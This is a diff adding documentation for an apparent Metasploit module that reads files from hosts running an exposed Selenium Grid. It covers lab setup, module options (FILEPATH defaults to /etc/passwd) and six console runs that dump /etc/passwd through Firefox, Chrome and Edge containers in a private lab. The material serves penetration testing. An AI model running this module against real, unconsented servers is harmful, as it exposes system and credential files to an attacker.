|
| 1 | +## Vulnerable Application |
| 2 | + |
| 3 | +If there is an open selenium web driver, a remote attacker can send requests to the victims browser. |
| 4 | +In certain cases this can be used to access to the remote file system. |
| 5 | + |
| 6 | +The vulnerability affects: |
| 7 | + |
| 8 | + * all version of open Selenium Server (Grid) |
| 9 | + |
| 10 | +This module was successfully tested on: |
| 11 | + |
| 12 | + * selenium/standalone-firefox:3.141.59 installed with Docker on Ubuntu 24.04 |
| 13 | + * selenium/standalone-firefox:4.0.0-alpha-6-20200730 installed with Docker on Ubuntu 24.04 |
| 14 | + * selenium/standalone-firefox:4.6 installed with Docker on Ubuntu 24.04 |
| 15 | + * selenium/standalone-firefox:4.27.0 installed with Docker on Ubuntu 24.04 |
| 16 | + * selenium/standalone-chrome:4.27.0 installed with Docker on Ubuntu 24.04 |
| 17 | + * selenium/standalone-edge:4.27.0 installed with Docker on Ubuntu 24.04 |
| 18 | + |
| 19 | + |
| 20 | +### Installation |
| 21 | + |
| 22 | +1. `docker pull selenium/standalone-firefox:3.141.59` |
| 23 | + |
| 24 | +2. `docker run -d -p 4444:4444 -p 7900:7900 --shm-size="2g" selenium/standalone-firefox:3.141.59` |
| 25 | + |
| 26 | + |
| 27 | +## Verification Steps |
| 28 | + |
| 29 | +1. Install the application |
| 30 | +2. Start msfconsole |
| 31 | +3. Do: `use auxiliary/gather/selenium_file_read` |
| 32 | +4. Do: `run rhost=<rhost>` |
| 33 | +5. You should get a file content |
| 34 | + |
| 35 | + |
| 36 | +## Options |
| 37 | + |
| 38 | +### SCHEME (Required) |
| 39 | + |
| 40 | +This is the scheme to use. Default is `file`. |
| 41 | + |
| 42 | +### FILEPATH (Required) |
| 43 | + |
| 44 | +This is the file to read. Default is `/etc/passwd`. |
| 45 | + |
| 46 | +### BROWSER (Required) |
| 47 | + |
| 48 | +This is the browser to use. Default is `firefox`. |
| 49 | + |
| 50 | +### TIMEOUT (required) |
| 51 | + |
| 52 | +This is the amount of time (in seconds) that the module will wait for the payload to be |
| 53 | +executed. Defaults to 75 seconds. |
| 54 | + |
| 55 | + |
| 56 | +## Scenarios |
| 57 | +### selenium/standalone-firefox:3.141.59 installed with Docker on Ubuntu 24.04 |
| 58 | +``` |
| 59 | +msf6 > use auxiliary/gather/selenium_file_read |
| 60 | +msf6 auxiliary(gather/selenium_file_read) > options |
| 61 | +
|
| 62 | +Module options (auxiliary/gather/selenium_file_read): |
| 63 | +
|
| 64 | + Name Current Setting Required Description |
| 65 | + ---- --------------- -------- ----------- |
| 66 | + BROWSER firefox yes The browser to use (Accepted: firefox, chrome, MicrosoftEdge) |
| 67 | + FILEPATH /etc/passwd yes File to read |
| 68 | + Proxies no A proxy chain of format type:host:port[,type:host:port][...] |
| 69 | + RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html |
| 70 | + RPORT 4444 yes The target port (TCP) |
| 71 | + SCHEME file yes The scheme to use |
| 72 | + SSL false no Negotiate SSL/TLS for outgoing connections |
| 73 | + TIMEOUT 75 yes Timeout for exploit (seconds) |
| 74 | + VHOST no HTTP server virtual host |
| 75 | +
|
| 76 | +
|
| 77 | +View the full module info with the info, or info -d command. |
| 78 | +
|
| 79 | +msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4445 |
| 80 | +[*] Running module against 192.168.56.16 |
| 81 | +[*] Running automatic check ("set AutoCheck false" to disable) |
| 82 | +[+] The target appears to be vulnerable. Version 3.141.59 detected |
| 83 | +[*] Started session (4a48aef3-9379-4cbe-9d6a-1ecc3176dc14). |
| 84 | +[+] /etc/passwd |
| 85 | +root:x:0:0:root:/root:/bin/bash |
| 86 | +daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin |
| 87 | +bin:x:2:2:bin:/bin:/usr/sbin/nologin |
| 88 | +sys:x:3:3:sys:/dev:/usr/sbin/nologin |
| 89 | +sync:x:4:65534:sync:/bin:/bin/sync |
| 90 | +games:x:5:60:games:/usr/games:/usr/sbin/nologin |
| 91 | +man:x:6:12:man:/var/cache/man:/usr/sbin/nologin |
| 92 | +lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin |
| 93 | +mail:x:8:8:mail:/var/mail:/usr/sbin/nologin |
| 94 | +news:x:9:9:news:/var/spool/news:/usr/sbin/nologin |
| 95 | +uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin |
| 96 | +proxy:x:13:13:proxy:/bin:/usr/sbin/nologin |
| 97 | +www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin |
| 98 | +backup:x:34:34:backup:/var/backups:/usr/sbin/nologin |
| 99 | +list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin |
| 100 | +irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin |
| 101 | +gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin |
| 102 | +nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin |
| 103 | +_apt:x:100:65534::/nonexistent:/usr/sbin/nologin |
| 104 | +seluser:x:1200:1201::/home/seluser:/bin/bash |
| 105 | +systemd-timesync:x:101:101:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin |
| 106 | +systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin |
| 107 | +systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin |
| 108 | +messagebus:x:104:105::/nonexistent:/usr/sbin/nologin |
| 109 | +rtkit:x:105:106:RealtimeKit,,,:/proc:/usr/sbin/nologin |
| 110 | +pulse:x:106:107:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin |
| 111 | +
|
| 112 | +[*] Failed to delete the session (4a48aef3-9379-4cbe-9d6a-1ecc3176dc14). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed. |
| 113 | +[*] Auxiliary module execution completed |
| 114 | +``` |
| 115 | + |
| 116 | +### selenium/standalone-firefox:4.0.0-alpha-6-20200730 installed with Docker on Ubuntu 24.04 |
| 117 | +``` |
| 118 | +msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4446 |
| 119 | +[*] Running module against 192.168.56.16 |
| 120 | +[*] Running automatic check ("set AutoCheck false" to disable) |
| 121 | +[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready. |
| 122 | +[*] Started session (eb790e48-318a-4949-a7ff-8566f181a609). |
| 123 | +[+] /etc/passwd |
| 124 | +root:x:0:0:root:/root:/bin/bash |
| 125 | +daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin |
| 126 | +bin:x:2:2:bin:/bin:/usr/sbin/nologin |
| 127 | +sys:x:3:3:sys:/dev:/usr/sbin/nologin |
| 128 | +sync:x:4:65534:sync:/bin:/bin/sync |
| 129 | +games:x:5:60:games:/usr/games:/usr/sbin/nologin |
| 130 | +man:x:6:12:man:/var/cache/man:/usr/sbin/nologin |
| 131 | +lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin |
| 132 | +mail:x:8:8:mail:/var/mail:/usr/sbin/nologin |
| 133 | +news:x:9:9:news:/var/spool/news:/usr/sbin/nologin |
| 134 | +uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin |
| 135 | +proxy:x:13:13:proxy:/bin:/usr/sbin/nologin |
| 136 | +www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin |
| 137 | +backup:x:34:34:backup:/var/backups:/usr/sbin/nologin |
| 138 | +list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin |
| 139 | +irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin |
| 140 | +gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin |
| 141 | +nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin |
| 142 | +_apt:x:100:65534::/nonexistent:/usr/sbin/nologin |
| 143 | +seluser:x:1200:1201::/home/seluser:/bin/bash |
| 144 | +systemd-network:x:101:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin |
| 145 | +systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin |
| 146 | +messagebus:x:103:104::/nonexistent:/usr/sbin/nologin |
| 147 | +rtkit:x:104:105:RealtimeKit,,,:/proc:/usr/sbin/nologin |
| 148 | +pulse:x:105:106:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin |
| 149 | +
|
| 150 | +[*] Failed to delete the session (eb790e48-318a-4949-a7ff-8566f181a609). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed. |
| 151 | +[*] Auxiliary module execution completed |
| 152 | +``` |
| 153 | + |
| 154 | +### selenium/standalone-firefox:4.6 installed with Docker on Ubuntu 24.04 |
| 155 | +``` |
| 156 | +msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4447 |
| 157 | +[*] Running module against 192.168.56.16 |
| 158 | +[*] Running automatic check ("set AutoCheck false" to disable) |
| 159 | +[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready. |
| 160 | +[*] Started session (2b4d313e-6e42-4c33-8bc8-630103269ef7). |
| 161 | +[+] /etc/passwd |
| 162 | +root:x:0:0:root:/root:/bin/bash |
| 163 | +daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin |
| 164 | +bin:x:2:2:bin:/bin:/usr/sbin/nologin |
| 165 | +sys:x:3:3:sys:/dev:/usr/sbin/nologin |
| 166 | +sync:x:4:65534:sync:/bin:/bin/sync |
| 167 | +games:x:5:60:games:/usr/games:/usr/sbin/nologin |
| 168 | +man:x:6:12:man:/var/cache/man:/usr/sbin/nologin |
| 169 | +lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin |
| 170 | +mail:x:8:8:mail:/var/mail:/usr/sbin/nologin |
| 171 | +news:x:9:9:news:/var/spool/news:/usr/sbin/nologin |
| 172 | +uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin |
| 173 | +proxy:x:13:13:proxy:/bin:/usr/sbin/nologin |
| 174 | +www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin |
| 175 | +backup:x:34:34:backup:/var/backups:/usr/sbin/nologin |
| 176 | +list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin |
| 177 | +irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin |
| 178 | +gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin |
| 179 | +nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin |
| 180 | +_apt:x:100:65534::/nonexistent:/usr/sbin/nologin |
| 181 | +seluser:x:1200:1201::/home/seluser:/bin/bash |
| 182 | +systemd-timesync:x:101:101:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin |
| 183 | +systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin |
| 184 | +systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin |
| 185 | +messagebus:x:104:105::/nonexistent:/usr/sbin/nologin |
| 186 | +rtkit:x:105:106:RealtimeKit,,,:/proc:/usr/sbin/nologin |
| 187 | +pulse:x:106:107:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin |
| 188 | +
|
| 189 | +[*] Failed to delete the session (2b4d313e-6e42-4c33-8bc8-630103269ef7). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed. |
| 190 | +[*] Auxiliary module execution completed |
| 191 | +``` |
| 192 | + |
| 193 | +### selenium/standalone-firefox:4.27.0 installed with Docker on Ubuntu 24.04 |
| 194 | +``` |
| 195 | +msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4448 |
| 196 | +[*] Running module against 192.168.56.16 |
| 197 | +[*] Running automatic check ("set AutoCheck false" to disable) |
| 198 | +[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready. |
| 199 | +[*] Started session (599a7d03-1eca-41f3-8726-3a192104dfc1). |
| 200 | +[+] /etc/passwd |
| 201 | +root:x:0:0:root:/root:/bin/bash |
| 202 | +daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin |
| 203 | +bin:x:2:2:bin:/bin:/usr/sbin/nologin |
| 204 | +sys:x:3:3:sys:/dev:/usr/sbin/nologin |
| 205 | +sync:x:4:65534:sync:/bin:/bin/sync |
| 206 | +games:x:5:60:games:/usr/games:/usr/sbin/nologin |
| 207 | +man:x:6:12:man:/var/cache/man:/usr/sbin/nologin |
| 208 | +lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin |
| 209 | +mail:x:8:8:mail:/var/mail:/usr/sbin/nologin |
| 210 | +news:x:9:9:news:/var/spool/news:/usr/sbin/nologin |
| 211 | +uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin |
| 212 | +proxy:x:13:13:proxy:/bin:/usr/sbin/nologin |
| 213 | +www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin |
| 214 | +backup:x:34:34:backup:/var/backups:/usr/sbin/nologin |
| 215 | +list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin |
| 216 | +irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin |
| 217 | +_apt:x:42:65534::/nonexistent:/usr/sbin/nologin |
| 218 | +nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin |
| 219 | +ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash |
| 220 | +seluser:x:1200:1201::/home/seluser:/bin/bash |
| 221 | +systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin |
| 222 | +messagebus:x:100:101::/nonexistent:/usr/sbin/nologin |
| 223 | +pulse:x:101:102:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin |
| 224 | +
|
| 225 | +[*] Failed to delete the session (599a7d03-1eca-41f3-8726-3a192104dfc1). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed. |
| 226 | +[*] Auxiliary module execution completed |
| 227 | +``` |
| 228 | + |
| 229 | +### selenium/standalone-chrome:4.27.0 installed with Docker on Ubuntu 24.04 |
| 230 | +``` |
| 231 | +msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4453 BROWSER=chrome |
| 232 | +[*] Running module against 192.168.56.16 |
| 233 | +[*] Running automatic check ("set AutoCheck false" to disable) |
| 234 | +[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready. |
| 235 | +[*] Started session (363b104ba9d167f434518d3eb1add0c6). |
| 236 | +[+] /etc/passwd |
| 237 | +root:x:0:0:root:/root:/bin/bash |
| 238 | +daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin |
| 239 | +bin:x:2:2:bin:/bin:/usr/sbin/nologin |
| 240 | +sys:x:3:3:sys:/dev:/usr/sbin/nologin |
| 241 | +sync:x:4:65534:sync:/bin:/bin/sync |
| 242 | +games:x:5:60:games:/usr/games:/usr/sbin/nologin |
| 243 | +man:x:6:12:man:/var/cache/man:/usr/sbin/nologin |
| 244 | +lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin |
| 245 | +mail:x:8:8:mail:/var/mail:/usr/sbin/nologin |
| 246 | +news:x:9:9:news:/var/spool/news:/usr/sbin/nologin |
| 247 | +uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin |
| 248 | +proxy:x:13:13:proxy:/bin:/usr/sbin/nologin |
| 249 | +www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin |
| 250 | +backup:x:34:34:backup:/var/backups:/usr/sbin/nologin |
| 251 | +list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin |
| 252 | +irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin |
| 253 | +_apt:x:42:65534::/nonexistent:/usr/sbin/nologin |
| 254 | +nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin |
| 255 | +ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash |
| 256 | +seluser:x:1200:1201::/home/seluser:/bin/bash |
| 257 | +systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin |
| 258 | +messagebus:x:100:101::/nonexistent:/usr/sbin/nologin |
| 259 | +pulse:x:101:102:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin |
| 260 | +
|
| 261 | +[*] Deleted session (363b104ba9d167f434518d3eb1add0c6). |
| 262 | +[*] Auxiliary module execution completed |
| 263 | +``` |
| 264 | + |
| 265 | +### selenium/standalone-edge:4.27.0 installed with Docker on Ubuntu 24.04 |
| 266 | +``` |
| 267 | +msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4454 BROWSER=MicrosoftEdge |
| 268 | +[*] Running module against 192.168.56.16 |
| 269 | +[*] Running automatic check ("set AutoCheck false" to disable) |
| 270 | +[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready. |
| 271 | +[*] Started session (80c4ac70d41d4ffc5585e750c94d9ac5). |
| 272 | +[+] /etc/passwd |
| 273 | +root:x:0:0:root:/root:/bin/bash |
| 274 | +daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin |
| 275 | +bin:x:2:2:bin:/bin:/usr/sbin/nologin |
| 276 | +sys:x:3:3:sys:/dev:/usr/sbin/nologin |
| 277 | +sync:x:4:65534:sync:/bin:/bin/sync |
| 278 | +games:x:5:60:games:/usr/games:/usr/sbin/nologin |
| 279 | +man:x:6:12:man:/var/cache/man:/usr/sbin/nologin |
| 280 | +lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin |
| 281 | +mail:x:8:8:mail:/var/mail:/usr/sbin/nologin |
| 282 | +news:x:9:9:news:/var/spool/news:/usr/sbin/nologin |
| 283 | +uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin |
| 284 | +proxy:x:13:13:proxy:/bin:/usr/sbin/nologin |
| 285 | +www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin |
| 286 | +backup:x:34:34:backup:/var/backups:/usr/sbin/nologin |
| 287 | +list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin |
| 288 | +irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin |
| 289 | +_apt:x:42:65534::/nonexistent:/usr/sbin/nologin |
| 290 | +nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin |
| 291 | +ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash |
| 292 | +seluser:x:1200:1201::/home/seluser:/bin/bash |
| 293 | +systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin |
| 294 | +messagebus:x:100:101::/nonexistent:/usr/sbin/nologin |
| 295 | +pulse:x:101:102:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin |
| 296 | +
|
| 297 | +[*] Deleted session (80c4ac70d41d4ffc5585e750c94d9ac5). |
| 298 | +[*] Auxiliary module execution completed |
| 299 | +``` |
0 commit comments